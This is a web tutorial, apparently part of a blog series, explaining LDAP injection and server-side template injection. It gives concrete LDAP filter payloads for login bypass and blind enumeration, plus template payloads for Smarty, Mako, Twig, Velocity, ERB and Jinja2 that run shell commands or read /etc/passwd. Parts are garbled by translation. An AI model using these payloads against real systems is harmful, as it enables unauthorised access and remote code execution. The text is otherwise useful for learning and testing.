A Summary Of Fancy Attack Injection Methods - Part 3 - Tutorial Boy -->
Home
Injection Attack

A Summary Of Fancy Attack Injection Methods - Part 3





In the previous two issues of the push, we have carried out a detailed interpretation of a variety of fancy injection methods. In the last issue, LDAP injection and SSTI injection are about to debut.

LDAP Injection

Introduction

LDAP, full name: "LightWeightDirectory AccessProtocol"

Also known as the Lightweight Directory Access Protocol, I believe that many students who have a background in development are no strangers.

LDAP is a lightweight version of the DAP directory access protocol, which is often used to access directory services on the network. It can search for individuals without knowing the location when the user does not know the domain name.

In the process of penetration, we often talk about the LDAP server, which is simply a database that stores data. Its common use is generally to store user names and passwords, and then use LDAP to authenticate or bind sessions in different applications or services.

This is basically similar to what we often call SSO. The port opening is generally 389. A common example is an AD (Active Directory) that we encountered when building a domain environment.
AD is a directory service that is used to manage domains, users, and distributed resources. While managing domains and objects, it controls corresponding users to access corresponding resources. At the same time, it also contains the information of each account in the entire domain environment and treats each user account as an object, and each object has multiple attributes.

The role of LDAP is to extract information from AD with string-based queries. To understand it simply, AD is an LDAP server + LDAP application.

Speaking of this, some people may think, is there any difference between other databases such as MYSQL and LDAP databases?

The biggest difference is that the LDAP database is a tree structure, and the data is stored on the leaf nodes. Everyone knows that using a tree structure is more efficient. In the case of infrequent changes, they can be found more quickly. Since it is a tree structure, there must be rules:
  • dn: the detailed location of a record;
  • dc: The area to which a record belongs;
  • ou: The organization to which a record belongs;
  • cn/uid: The name/ID of a record.
The complete form of a piece of data is dn:cn=name of the record, ou=organization, dc=area.

LDAP injection

In the introduction, we know that the LDAP server is a bit similar to other database servers, and its injection method is also a bit similar to SQL injection because the developer did not properly filter some parameters, which caused the attacker to insert malicious payloads.

In the final analysis, an important reason for LDAP injection is its filter mechanism. The simplest one is:
(Username=tom) //(filter1)

LDAP injection also has its own divisions, such as AND injection, OR injection, and Blind injection. In addition to this is the simple form of injection above. When we enter payload: " *)(&", it will be constructed as" (username=* )(&)", because this server only processes the first filter, that is: " (username=*)", it will query all user names.

Of course, there are few such simple filters in actual operation, and some logical operators are usually added. This constitutes what we often call AND injection and OR injection.

  • AND injection, as the name suggests, is with the "&" character, which is often used in the username and password mechanism:
(&(Username=johnname)(password=johnpwd)

  • After seeing this, many people have already thought of the injection method, just input our payload: "john name)(&)", then it can be formed:
(&(Username=johnname)(&))(password=johnpwd)
Since our backend uses:

(&(Username=johnname)(password=johnpwd)

So the backend server will only process the first filter when processing:

(&(Username=johnname)(&))

You can successfully bypass our login password restrictions.

The other is the" | OR" injection. Generally speaking, the expression generated by the backend is as follows:
(|(username1=Johnname)(username2=tomname))

  • From an attacker's point of view, we often use wildcards (*) together. For example, we need to output all assets in a company, username1 is the name, username2 is the employee ID, then we only need to construct the payload:
johnname)(assert=*)

The resulting filter is as follows:

(|(username1=johname)(assert=*))(username2=tomname))

Since the LDAP server will only process the first filter, the assets of the entire company will be output at this time.

In addition to AND and OR, there are blind injections. This is similar to Boolean blind injections and time blind injections in SQL injection. LDAP blind injection is a more advanced technique that can be used by sending multiple requests and checking The server responses to determine whether the query is valid to extract unknown information.

In combination with other optimization and automation, the attacker may be in a response packet returned status information to obtain.

For example, we need to obtain the department attributes of a company, enter "Jomname) (attribute=*)" in the above AND injection, and the formed filter is as follows:


(&(Username=Jomname)(attribute=*))(password=johnpwd)

If the server responds, the attribute exists, otherwise, it does not exist.

If you want to query the property name department, then we can enter payload:

jomname)(departmen=a*)
(&(Username=jomname)(departmen=a*))(password=johnpwd)
If there is a response from the server, the process of "ab*, ac*" and so on can be continued.

Find LDAP

LDAP can only judge whether it is valid through the result or status code, which brings us a lot of trouble. But we can also verify whether it is LDAP through some methods.
  • Enter "*" directly to see if there are many results;
  • Enter a lot of closing brackets;
  • "%00" is truncated, which can be used to bypass the passwd parameter;
(&(name=hacker))%00(passwd=hacker))
  • Use the "cn" attribute: This attribute will basically exist in LDAP. You can use this if you don't know anything about the directory to be queried.
)(cn=*
))(|(cn=

Summary

Although there are many ways of LDAP injection, it is mainly used to bypass identity verification and cause information leakage. The most commonly used method is to bypass the identity verification through 00 truncations or closure. Or through blind injection, get the company's information, personnel names, etc.

Sometimes during an infiltration, when port 389 is open and others are unavailable, you can try to connect to the server with an LDAP client, maybe SSO will be won.

References


SSTI

Introduction

SSTI, Server-SideTemplateInjection, also known as server-side template injection, means that when an attacker uses the template syntax to inject malicious statements into the template and then executes it on the server, server template injection will occur. 

There is a simple development rule in web applications separates application logic and HTML code as much as possible, which will allow the generation of web pages to be designed as a fixed template with dynamic data, which provides a way to manage the dynamic generation of HTML code Methods.

However, when the attacker's input is directly connected to the template instead of being passed in as data, a server template injection attack will occur, resulting in the attacker's direct access to a server control.

To be safe, I believe that many people have played vulhub, a Docker-based vulnerability environment. There is a flaskSSTI project in it. Its code is as follows:

image.png


It can be seen that it is the value accepted in the form of getting, and it may be seen that many people may think of XSS first, which often misses SSTI. When we do a simple mathematical operation, we can see these differences, such as typing:
payload:{{2*2}}


It can be seen that 2*2 is executed, and the user's input is directly connected to the template, which also forms the server-side template injection.

SSTI Utilization

In the introduction in the previous section, we already know that there is server-side template injection. In the general process, we need to find which template is used to write. The following screenshot source network basically includes the server-side on the market. template:


Smarty templates can generally pass:
{php}echo'id';{/php}

Mako templates can be passed:

<%
importos
x= os.popen('id'). read()
%>
${x}
Direct RCE.

Twig can implement RCE with the following code:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

In addition, there are some Java template languages, such as Velocity templates, which can use Runtime.exec() to execute shell commands on the target system, such as:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($iin[1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

In addition, Ruby can pass:

ERB:<%=7 * 7 %>
Slim:#{7 * 7}

To detect the presence of SSTI, it can be used through the following code:

<%=system('cat /etc/passwd') %><%=`ls /` %><%=IO.popen('ls /').readlines() %><%require'open3'%> <% @a,@b,@c,@d=Open3.popen3('whoami')%><%=@b.readline()%><%require'open4'%><%@a,@b ,@c,@d=Open4.popen4('whoami')%><%=@c.readline()%>

Of course, jade also has the form of SSTI, and can also implement RCE.In the introduction, we found that the code uses jinja2, then we use:

％7b％7b+％27％27.__ class __.__ mro __％5B2％5D.__ subclasses __％28％29％5B40％5D％28％27％2Fetc％2Fpasswd％27％29.read％28％29 +%7D%7D

You can read the content of the passwd file, and you can also use the official POC to execute:


image.png



You can see that the code executes successfully.


You can see that the code executes successfully.

Summarize

    SSTI has many injection methods and various search methods, such as java "${7*7}", etc. This requires our daily accumulation. There are also some Docker-based target machine environments in vulhub, such as:


There are more than a dozen different server-side vulnerability environments, including python, php, java, nodejs, javascript, ruby, go, and other languages. Of course, if there are vulnerabilities, it means that there are corresponding detection tools. Here are more recommendations:
talmap 
This is a tool specially used to detect SSTI.

Here are some references, you can learn by yourself.

Post a Comment